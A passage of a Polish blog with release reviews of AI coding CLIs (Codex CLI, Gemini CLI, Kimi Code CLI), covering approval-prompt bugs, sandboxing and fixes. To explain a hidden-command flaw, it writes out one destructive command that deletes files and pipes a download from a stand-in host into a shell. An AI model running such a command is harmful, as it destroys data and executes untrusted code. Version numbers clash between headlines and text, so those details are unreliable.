    Sytuacja była na tyle uciążliwa, że niektórzy użytkownicy celowo wracali do starszej, stabilnej wersji, aby odzyskać produktywność. Co gorsza, problem nie został naprawiony od razu i przeniósł się nawet do następnego wydania. Pokazuje to, jak trudno czasem wyeliminować nieoczekiwane konsekwencje zmian w kodzie.

    Poważniejsza wada: niepełne informacje w interfejsie zatwierdzania

    Sam fakt częstych pytań mógłby być jedynie irytujący. Okazało się jednak, że mechanizm zatwierdzania w wersji 0.115.0 ma poważniejszą, potencjalnie niebezpieczną wadę. Interfejs pokazywał użytkownikowi do recenzji tylko początkową część polecenia. Szczególnie problematyczne okazywało się to w przypadku poleceń łączonych za pomocą operatora &&.

    Wyobraźmy sobie sytuację: Codex prosi o zatwierdzenie wykonania cd katalog. Użytkownik, widząc tylko tę nieszkodliwą komendę, wyraża zgodę. Tymczasem w tle, niewidoczne w oknie zatwierdzenia, czekało pełne, złożone polecenie, np. cd katalog && rm -rf ./* && curl http://niebezpieczny-url.pl | sh. Użytkownik w dobrej wierze zatwierdzał prostą operację, nie mając pojęcia, co tak naprawdę zostanie uruchomione.

    Jako obejście sugerowano… unikanie zatwierdzania poleceń, których nie można w pełni przejrzeć. To rozwiązanie przerzuca odpowiedzialność za bezpieczeństwo na użytkownika, nie naprawiając podstawowej usterki interfejsu.

    Wpływ na użytkowników i adopcję nowych funkcji

    Wpływ na użytkowników i adopcję nowych funkcji

    Połączenie tych dwóch problemów – częstych próśb i niepełnych informacji – stworzyło wyjątkowo frustrujące środowisko pracy. Główny cel aktualizacji, czyli wprowadzenie nowych, użytecznych funkcji, został skutecznie przyćmiony. Użytkownik chcący przetestować nowy flow logowania czy zarządzania wtyczkami musiał w kółko klikać „zatwierdź”, często działając po omacku, bo nie widział pełnej treści polecenia.

    Ta regresja uderza w samą istotę narzędzi takich jak Codex CLI, które mają przyspieszać i automatyzować pracę dewelopera. Zamiast płynnej współpracy z AI, użytkownik otrzymywał ciągłe przerwy w pracy, zmuszony do ręcznej interwencji przy każdej, nawet najprostszej operacji. Jeden z użytkowników zgłosił, że problemy z zatwierdzaniem zmusiły go do skomplikowanych zmian w workflow i wzmocniły obawy o stabilność całego narzędzia Codex.

    Dla OpenAI to cenna, choć bolesna lekcja. Wprowadzanie nowych zabezpieczeń i funkcji musi iść w parze z dbałością o podstawową ergonomię. Jeśli nowy system zatwierdzania jest tak uciążliwy, że użytkownicy masowo wracają do starszej wersji, to znak, że równowaga między bezpieczeństwem a wygodą została zachwiana.

    Perspektywy naprawy i wnioski na przyszłość

    Perspektywy naprawy i wnioski na przyszłość

    Późniejsze aktualizacje zaczęły adresować te problemy. Poprawki obejmowały m.in. zapewnienie, że raz nadane uprawnienia są trwałe pomiędzy kolejnymi krokami (tzw. turns) oraz że system poprawnie działa z konfiguracjami opartymi na odrzuceniu (reject-style). To pokazuje, że zespół był świadomy problemu i pracował nad jego rozwiązaniem.

    Kluczowy wniosek z tej sytuacji dotyczy procesu wdrażania. Nowe funkcje, nawet te najbardziej obiecujące, muszą być testowane w realnych warunkach pod kątem ich wpływu na całościowe User Experience. Mechanizm zatwierdzania, który ma chronić, nie może być jednocześnie tak wadliwy, że wprowadza nowe ryzyko przez brak przejrzystości.

    Dla społeczności deweloperów używających Codex CLI to też przypomnienie o zachowaniu ostrożności. Korzystanie z wersji nightly czy świeżo wydanych aktualizacji, zwłaszcza w przypadku kluczowych narzędzi, zawsze wiąże się z ryzykiem. Czasem kilka dni zwłoki z aktualizacją, by poczekać na pierwsze opinie społeczności, może zaoszczędzić wiele godzin frustracji.

    Podsumowanie

    Historia wersji 0.115.0 OpenAI Codex CLI to studium przypadku na temat wyzwań w rozwoju złożonego oprogramowania. Z jednej strony mamy ewidentny postęp: lepsze uwierzytelnianie, sprytniejsze zarządzanie wtyczkami, nowe hooki dla deweloperów. Z drugiej – poważny krok w tył w fundamentalnej kwestii interakcji z użytkownikiem.

    Usterka z zatwierdzaniem poleceń nie tylko uprzykrzała życie, ale wręcz podważała zaufanie do systemu, obnażając jego potencjalnie niebezpieczną wadę. Naprawienie tego wymagało nie tylko poprawki technicznej, ale i przywrócenia poczucia kontroli oraz przejrzystości dla osób pracujących w terminalu. Ostatecznie sukces takich narzędzi nie zależy wyłącznie od ich możliwości, ale od tego, jak płynnie i bezpiecznie wpisują się w codzienną pracę. Wersja 0.115.0, przynajmniej na początku, tę płynność skutecznie zablokowała.

  • Gemini CLI v0.34.0-preview.0: lepsze izolacja sandbox, poprawki UI i stabilność

    Gemini CLI v0.34.0-preview.0: lepsze izolacja sandbox, poprawki UI i stabilność

    Wydanie pre-release Gemini CLI, oznaczone jako v0.34.0-preview.4, przynosi ważne zmiany, które mogą znacząco poprawić doświadczenie użytkowników, szczególnie tych pracujących z AI w terminalu. To nie tylko kolejna iteracja – wprowadza eksperymentalne, ale kluczowe funkcje sandboxingu, solidne poprawki interfejsu oraz szereg poprawek stabilności, które wpływają na codzienną pracę. Jeśli używasz Gemini CLI do vibe codingu, automatyzacji DevOps czy szybkiego prototypowania, ta wersja jest warta uwagi.

    Rewolucyjny sandboxing: LXC i gVisor

    Jednym z najważniejszych, choć jeszcze eksperymentalnych elementów tej wersji, jest rozszerzenie możliwości sandboxingu. Sandbox, czyli izolowane środowisko wykonawcze, jest niezbędny do bezpiecznego testowania skryptów, uruchamiania nieznanych poleceń czy pracy z agentami AI, które mogą próbować wykonać niebezpieczne operacje.

    Do tej pory Gemini CLI oferował pewne mechanizmy izolacji, ale v0.34.0-preview.4 idzie o krok dalej. Po pierwsze, dodano eksperymentalne wsparcie dla kontenerów LXC. LXC (Linux Containers) to lekki system konteneryzacji, który pozwala stworzyć izolowane środowisko Linuxa bez narzutu pełnej maszyny wirtualnej. Dla deweloperów oznacza to możliwość uruchamiania poleceń czy skryptów w bezpiecznej „klatce”, która chroni główny system.

    Po drugie, pojawiła się integracja z gVisor (runsc). gVisor to sandbox runtime dla kontenerów, stworzony przez Google, który implementuje własny, minimalistyczny kernel w języku Go. Został zaprojektowany specjalnie do bezpiecznego izolowania aplikacji. Natywna integracja z gVisor w Gemini CLI daje jeszcze większą kontrolę i pewność podczas wykonywania operacji, które mogłyby potencjalnie naruszyć system.

    Te dwie technologie nie są jeszcze domyślnie włączone i wymagają odpowiedniej konfiguracji, ale ich pojawienie się w kodzie źródłowym pokazuje wyraźny kierunek rozwoju: Gemini CLI chce być bezpiecznym narzędziem nie tylko do interakcji z AI, ale także do automatyzacji i DevOps. Szczególnie w przypadku vibe codingu – gdzie agent AI może dynamicznie generować i testować kod – takie sandboxy są absolutną koniecznością.

    Szlifowanie interfejsu użytkownika

    Drugim dużym obszarem zmian jest interfejs. W aplikacjach terminalowych UX często jest niedoceniany, ale w Gemini CLI otrzymuje on ciągłe poprawki.

    Ciekawą nowością jest możliwość konfiguracji sandboxa w `settings.json`. Daje to większą kontrolę nad środowiskiem wykonawczym. Historia chatu została poprawiona, aby była bardziej przejrzysta i czytelna. Nawet generowane snapshoty SVG (używane np. do dzielenia się fragmentami pracy) otrzymały drobne, ale praktyczne ulepszenia.

    Poprawki rdzenia i stabilność

    Pod płaszczem nowych funkcji kryje się wiele poprawek stabilności, które bezpośrednio wpływają na niezawodność narzędzia.

    W długo działających sesjach pojawiało się ryzyko crashów związanych z Out of Memory (OOM). W v0.34.0-preview.4 wprowadzono poprawki optymalizujące zarządzanie pamięcią, które mają temu zapobiegać.

    Inne istotne bugfixy obejmują: autocomplete dla plików (poprawki dla ścieżek takich jak @scripts/copy_files.js, @file), refaktoryzację OAuth oraz zarządzanie extensions. Naprawiono także błąd AbortError w pętli strumieniowania (stream loop).

    Drobne, ale znaczące ulepszenia

    Warto wspomnieć o kilku innych zmianach, które składają się na lepszy user experience. Trackery zadań (task trackers) otrzymały zestaw narzędzi CRUD oraz poprawki wizualizacji, co pomaga w zarządzaniu zadaniami wewnątrz CLI. Agent przeglądarkowy został ulepszony poprzez emisję postępu, nakładkę (overlay) dla automatyzacji oraz dodatkowe testy integracyjne.

    Jak zainstalować i co dalej

    Jak zainstalować i co dalej

    Wersja v0.34.0-preview.4, jak wszystkie wydania preview, nie jest jeszcze uważana za całkowicie stabilną. Może zawierać eksperymentalne funkcje, które będą jeszcze dopracowywane. Instalacja odbywa się standardowo poprzez npm:

    npm install -g @google/gemini-cli@preview

    Warto zauważyć, że ta wersja jest częścią ciągłego cyklu rozwojowego Gemini CLI. Wcześniejsze nightly builds (jak v0.34.0-nightly.20260307) wprowadzały już różne zmiany. Wersja preview konsoliduje te usprawnienia i dodaje nowe.

    Znaczenie dla deweloperów

    Dla osób pracujących w obszarach web developmentu, AI, DevOps czy terminal-based workflows, ta wersja Gemini CLI przynosi konkretne korzyści. Sandboxing otwiera drogę do bezpiecznego testowania skryptów i automatyzacji generowanych przez AI. Poprawki UI sprawiają, że codzienna praca jest płynniejsza, a poprawki stabilności zmniejszają ryzyko utraty sesji czy problemów z autouzupełnianiem.

    Choć niektóre funkcje są jeszcze eksperymentalne, ich obecność pokazuje, że Gemini CLI nie jest tylko „chatbotem w terminalu”. Staje się kompleksowym narzędziem dla deweloperów, którzy chcą integrować AI z codziennymi workflowami, zachowując bezpieczeństwo i kontrolę.

    Podsumowanie

    Gemini CLI v0.34.0-preview.4 to solidny krok naprzód dla tego terminalowego agenta AI. Eksperymentalne sandboxy (LXC i gVisor) odpowiadają na realne potrzeby bezpieczeństwa w vibe codingu i automatyzacji DevOps. Szlifowanie interfejsu i liczne poprawki rdzenia – od zarządzania pamięcią po autocomplete – zwiększają niezawodność aplikacji w długotrwałych sesjach.

    To wydanie pokazuje, że projekt nie skupia się wyłącznie na nowych, spektakularnych funkcjach, ale także na fundamentach: stabilności, bezpieczeństwie i użyteczności. Dla deweloperów już korzystających z Gemini CLI aktualizacja do wersji preview może znacząco poprawić komfort pracy. Dla tych, którzy jeszcze go nie próbowali – to dobry moment, aby sprawdzić, jak terminalowe AI może być nie tylko potężne, ale także bezpieczne i przemyślane.

  • Kimi Code CLI 1.18.0: poprawki w Shell, Core i ACP usprawniają pracę z AI

    Kimi Code CLI 1.18.0: poprawki w Shell, Core i ACP usprawniają pracę z AI

    Firma Moonshot AI wydała nową wersję swojego terminalowego asystenta AI dla programistów. Kimi Code CLI 1.12.0 skupia się na zwiększeniu stabilności i poszerzeniu funkcjonalności w kluczowych obszarach: trybie Shell, rdzeniu (Core) oraz integracji z edytorami poprzez ACP. Wydanie nie wprowadza rewolucyjnych zmian, ale konsekwentnie eliminuje znane błędy i dodaje przydatne usprawnienia.

    Kluczowe poprawki w trybie ACP

    Tryb Agent Client Protocol (ACP) służy do integracji Kimi CLI z edytorami kodu i IDE, takimi jak Zed czy Neovim. To właśnie tutaj pojawiła się jedna z najważniejszych poprawek w tej wersji.

    ACP obsługuje teraz zasoby osadzone (embedded resource content). W praktyce oznacza to, że gdy w edytorze używasz referencji do pliku (np. poprzez @ w Zed), Kimi CLI poprawnie zinterpretuje tę informację i włączy treść pliku do kontekstu. Poprawka rozwiązuje konkretny problem, w którym Zed ACP nie rozpoznawał obsługiwanych plików, co utrudniało naturalną współpracę między edytorem a agentem.

    Ta zmiana jest istotna dla codziennej pracy. Agent, otrzymując pełną treść referowanego pliku, może precyzyjniej odpowiadać na pytania dotyczące konkretnych fragmentów kodu lub sugerować modyfikacje. Wspiera to filozofię „vibe coding”, czyli wykonywania zadań programistycznych poprzez rozmowę w języku naturalnym.

    Shell: większa stabilność

    Tryb Shell Kimi CLI pozwala na bezpośrednią interakcję z agentem w terminalu, z integracją z Zsh i możliwością przełączania się między funkcjonalnościami. Wersja 1.12.0 wzmacnia jego stabilność.

    Naprawiono istotny błąd powodujący crash aplikacji, który występował, gdy dane w schowku (clipboard) miały wartość `None`. Eliminacja takich błędów sprawia, że codzienne korzystanie z CLI jest mniej frustrujące i bardziej przewidywalne.

    Usprawnienia rdzenia (Core)

    Rdzeń Kimi CLI, który zarządza komunikacją z modelami AI, również został zoptymalizowany. Zmiany dotyczą poprawy ogólnej niezawodności i kompatybilności z zewnętrznymi dostawcami (providerami) API, choć szczegóły implementacyjne mogą ewoluować.

    Web: odporne połączenia

    Komponent Web, czyli interfejs przeglądarkowy dostępny przez polecenie kimi web, został usprawniony pod kątem odporności na problemy sieciowe.

    Zaimplementowano automatyczną logikę ponawiania prób (retry) dla inicjalizacji sesji. Jeśli początkowe połączenie nie powiedzie się, system spróbuje połączyć się ponownie, co zwiększa szansę na poprawne rozpoczęcie pracy bez konieczności ręcznej interwencji użytkownika.

    Kimi CLI w szerszym kontekście: nie tylko agent

    Kimi CLI w szerszym kontekście: nie tylko agent

    Kimi Code CLI od Moonshot AI to open-source’owy terminalowy agent AI stworzony do zadań związanych z wytwarzaniem oprogramowania. To nie tylko narzędzie do rozmowy o kodzie. Jak przypomniano w dokumentacji: „Kimi Code CLI is not only a coding agent, but also a shell”.

    Narzędzie obsługuje trzy główne tryby pracy:

    • Interaktywny CLI (kimi) do czatu w języku naturalnym i wykonywania poleceń powłoki.
    • Interfejs przeglądarkowy (kimi web) z zarządzaniem sesjami, referencjami do plików i podświetlaniem składni (syntax highlighting).
    • Integrację z IDE (kimi --acp) poprzez Agent Client Protocol działający jako usługa.

    Jako projekt open-source, Kimi Code CLI rozwija się dynamicznie dzięki zgłoszeniom społeczności. Poprawka dla ACP związana z zasobami osadzonymi jest przykładem reakcji na błędy zgłoszone przez użytkowników edytora Zed. Projekt cieszy się dużym zainteresowaniem, gromadząc tysiące gwiazdek w serwisie GitHub.

    Dlaczego te poprawki są istotne dla WebDev i DevOps

    Wydanie 1.12.0 trafia w potrzeby praktyków web developmentu i DevOps. Stabilność w trybie Shell jest kluczowa dla automatyzacji i skryptowania. Poprawki w Core zapewniają, że integracja z modelami AI działa bez zakłóceń, co stanowi fundament nowoczesnego workflow opartego na sztucznej inteligencji.

    Obsługa zasobów osadzonych w ACP bezpośrednio wspiera pracę w edytorach, gdzie szybkie odwołania do plików są codziennością. Z kolei wzmocnienie komponentu Web sprawia, że korzystanie z interfejsu przeglądarkowego jest bardziej niezawodne, nawet w środowiskach z niestabilnym łączem.

    Wnioski: krok w stronę niezawodnego środowiska

    Wersja Kimi Code CLI 1.12.0 to kolejny krok w ewolucji tego narzędzia. Twórcy skupili się na eliminowaniu błędów i zwiększaniu odporności systemu. Takie podejście jest kluczowe dla użytkowników, którzy na co dzień wykorzystują CLI w swojej pracy, ponieważ bezpośrednio przekłada się na komfort i wydajność.

    Naprawa błędów krytycznych, usprawnienia w API oraz wzmocnienie logiki połączeń to zmiany ukierunkowane na praktyczne scenariusze użycia. Pokazują one, że rozwój projektu jest ściśle powiązany z realnymi potrzebami społeczności oraz wymaganiami integracji z innymi elementami ekosystemu programistycznego.

  • Codex v0.112.0 wprowadza wzmianki @plugin i zaostrza bezpieczeństwo sandboxów

    Codex v0.112.0 wprowadza wzmianki @plugin i zaostrza bezpieczeństwo sandboxów

    Najnowsza wersja terminalowego asystenta programistycznego od OpenAI, Codex 0.112.0, to solidna aktualizacja skupiająca się na dwóch kluczowych obszarach: wygodzie integracji pluginów i bezpieczeństwie wykonywania narzędzi. Wydanie, które trafiło do użytkowników w marcu 2026 roku, nie przynosi rewolucyjnych zmian w interfejsie, ale za to subtelnie, acz znacząco, usprawnia codzienną pracę z AI w terminalu.

    Głównymi nowościami tej odsłony są możliwość bezpośredniego przywoływania pluginów w czacie za pomocą symbolu @ oraz fundamentalne zmiany w polityce sandboxów, które mają zapobiegać nieautoryzowanym działaniom. To ewolucja wpisująca się w trend rozbudowy ekosystemu Codexa – lekkiego agenta, który zdobył już sporą popularność wśród deweloperów.

    Łatwiejsza integracja: wywołaj plugin w rozmowie za pomocą @

    Jedną z bardziej praktycznych nowości jest funkcja @plugin mentions. Do tej pory korzystanie z funkcjonalności pluginów mogło wymagać pamiętania o specyficznych komendach lub kontekstach. Teraz, w trakcie rozmowy z Codexem w terminalu (TUI), wystarczy wspomnieć o pluginie, używając @nazwa_plugina.

    Na przykład, pisząc „@git jaki jest status mojego repozytorium?”, użytkownik automatycznie załącza kontekst związany z danym pluginem, aplikacją lub umiejętnością (skill). To małe, ale niezwykle przydatne udogodnienie, które sprawia, że praca z wieloma rozszerzeniami staje się bardziej płynna i intuicyjna. Zmiana ta (oznaczona w changelogu jako #13510) bezpośrednio odpowiada na potrzeby użytkowników, którzy chcą szybko przełączać się między różnymi narzędziami bez przerywania flow pracy.

    Poza tym zaktualizowano też katalog modeli w interfejsie TUI. Teraz wybór modelu podczas rozpoczynania sesji lepiej odzwierciedla aktualną ofertę OpenAI.

    Bezpieczeństwo przede wszystkim: nowa polityka sandboxów dla zsh-fork

    Jeśli integracja pluginów to kwestia wygody, to druga główna zmiana dotyczy fundamentów bezpieczeństwa. W wersji 0.112.0 połączono profile uprawnień wykonywalnych z polityką sandboxa na każdą turę (per-turn sandbox policy). To techniczne, ale kluczowe usprawnienie dotyczące wykonywania umiejętności typu zsh-fork.

    W skrócie: kiedy Codex uruchamia narzędzie systemowe lub skrypt, robi to w izolowanym środowisku (sandboxie). Dotychczasowe, oddzielne profile uprawnień zostały teraz scalone z główną polityką sandboxa dla danej operacji. Daje to bardziej spójny, addytywny (czyli kumulujący uprawnienia tylko w razie potrzeby) i przede wszystkim bezpieczniejszy model przyznawania dostępu. Sandbox stał się surowszy i bardziej przewidywalny, co minimalizuje ryzyko nieautoryzowanych działań podczas automatycznego wykonywania poleceń.

    Ta zmiana (o numerze #13496) pokazuje, że twórcy Codexa traktują bezpieczeństwo poważnie, szczególnie w kontekście agenta, który ma bezpośredni dostęp do systemu i może wykonywać polecenia. Jest to niezwykle istotne dla deweloperów i zespołów DevOps, którzy powierzają Codexowi automatyzację wrażliwych części workflow.

    Stabilność i izolacja: poprawki pod maską

    Oprócz dwóch flagowych funkcji, wydanie 0.112.0 naprawia szereg błędów i wzmacnia system. To właśnie te poprawki często decydują o tym, czy narzędzie jest po prostu dobre, czy też można na nim polegać w codziennej pracy.

    • Naprawiono obsługę stanu JS REPL*. REPL (Read-Eval-Print Loop) to interaktywne środowisko do uruchamiania kodu JavaScript, a problemy z zarządzaniem jego stanem mogły prowadzić do niespójnych wyników lub błędów. Teraz funkcja ta działa poprawniej.

    Kluczową poprawką jest też bezpieczne zamykanie serwera (graceful shutdown). Gdy aplikacja serwerowa Codexa otrzymuje sygnał SIGTERM (standardowy sygnał zamknięcia), traktuje go jak naciśnięcie Ctrl-C. Dzięki temu połączenia WebSocket zamykają się w uporządkowany sposób, a nie są gwałtownie przerywane. Pozwala to uniknąć potencjalnego uszkodzenia danych i zapewnia stabilność.

    Wzmocniono także bezpieczeństwo przesyłania obrazów w JS REPL. Funkcja emitImage została „utwardzona” i teraz akceptuje wyłącznie adresy URL zaczynające się od data:. Blokuje to możliwość przesyłania obrazów z zewnętrznych, potencjalnie niebezpiecznych źródeł, zamykając kolejną ewentualną lukę.

    Usprawnienia dla różnych systemów operacyjnych

    Usprawnienia dla różnych systemów operacyjnych

    Codex rozwija się jako narzędzie wieloplatformowe, stąd poprawki dotyczące specyfiki różnych systemów.

    W przypadku Linuxa usprawniono izolację za pomocą bubblewrap (narzędzia do tworzenia sandboxów). Poprawka (#13624) zapewnia, że przestrzenie nazw użytkownika (user namespaces) nie są współdzielone, co gwarantuje silniejszą izolację. Działa to niezawodnie nawet w sytuacjach, gdy Codex jest uruchamiany z uprawnieniami roota, co jest ważne w zaawansowanych scenariuszach DevOps.

    Dla użytkowników macOS naprawiono konfigurację sieci w sandboxie opartym na mechanizmie Seatbelt od Apple. Z kolei w wersji na Linuxa poprawiono ogólne ustawienia sieciowe sandboxa, aby działały bardziej przewidywalnie.

    Jak to wpisuje się w szerszy obraz Codexa?

    Wydanie 0.112.0 to kolejny krok po znaczących aktualizacjach z ostatnich miesięcy.

    Wersja 0.111.0 włączyła domyślnie tryb Fast (szybsze, ale mniej szczegółowe odpowiedzi), dodała dynamiczne importy w JS REPL i rozszerzyła możliwości pracy z obrazami. Z kolei 0.110.0 była dużą zmianą, wprowadzającą cały system pluginów z umiejętnościami i konektorami, trwały przełącznik trybu Fast, ulepszone „wspomnienia” (memories) oraz liczne poprawki stabilności.

    Codex ewoluuje z prostego, tekstowego bota do kodowania w pełnoprawny ekosystem. Kolejne wersje, jak 0.113.0, rozbudowują go dalej o zaawansowane przepływy pracy z pluginami.

    • Podsumowując*, Codex v0.112.0 to aktualizacja stawiająca na praktyczność i bezpieczeństwo. Wprowadzenie wzmianek @plugin upraszcza interakcję z rosnącą biblioteką rozszerzeń, czyniąc terminalowego asystenta bardziej elastycznym. Jednocześnie głębokie przebudowanie polityki sandboxów dla zsh-fork oraz liczne poprawki stabilności świadczą o dojrzałości projektu.

    Choć zmiany te nie rzucają się w oczy od razu, to właśnie takie udoskonalenia – poprawiające codzienną ergonomię i budujące zaufanie do bezpieczeństwa wykonywanych poleceń – są często najcenniejsze. Dla deweloperów, szczególnie tych zajmujących się web developmentem, AI i automatyzacją DevOps, Codex 0.112.0 oferuje płynniejsze i znacznie pewniejsze środowisko do „vibe codingu” bez wychodzenia z terminala.